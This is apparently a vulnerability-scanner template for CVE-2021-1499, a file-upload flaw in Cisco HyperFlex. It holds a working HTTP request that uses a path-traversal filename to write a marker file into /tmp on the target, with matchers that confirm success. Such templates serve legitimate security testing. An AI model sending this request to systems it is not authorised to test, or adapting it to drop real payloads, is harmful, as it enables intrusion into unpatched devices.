id: CVE-2021-1499

info:
  name: Cisco HyperFlex HX Data Platform - Arbitrary File Upload
  author: gy741
  severity: medium
  description: Cisco HyperFlex HX Data Platform contains an arbitrary file upload vulnerability in the web-based management interface. An attacker can send a specific HTTP request to an affected device, thus enabling upload of files to the affected device with the permissions of the tomcat8 user.
  impact: |
    Allows an attacker to upload and execute arbitrary files on the target system
  remediation: |
    Apply the necessary security patches or updates provided by Cisco
  reference:
    - https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/
    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-upload-KtCK8Ugz
    - http://packetstormsecurity.com/files/163203/Cisco-HyperFlex-HX-Data-Platform-File-Upload-Remote-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-1499
    - https://github.com/Z0fhack/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-1499
    cwe-id: CWE-306
    epss-score: 0.96279
    epss-percentile: 0.99533
    cpe: cpe:2.3:h:cisco:hyperflex_hx220c_af_m5:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: hyperflex_hx220c_af_m5
  tags: cve2021,cve,fileupload,intrusive,packetstorm,cisco

http:
  - raw:
      - |
        POST /upload HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Encoding: gzip, deflate
        Content-Type: multipart/form-data; boundary=---------------------------253855577425106594691130420583
        Origin: {{RootURL}}
        Referer: {{RootURL}}

        -----------------------------253855577425106594691130420583
        Content-Disposition: form-data; name="file"; filename="../../../../../tmp/passwd9"
        Content-Type: application/json

        MyPasswdNewData->/api/tomcat

        -----------------------------253855577425106594691130420583--

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '{"result":'
          - '"filename:'
          - '/tmp/passwd9'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
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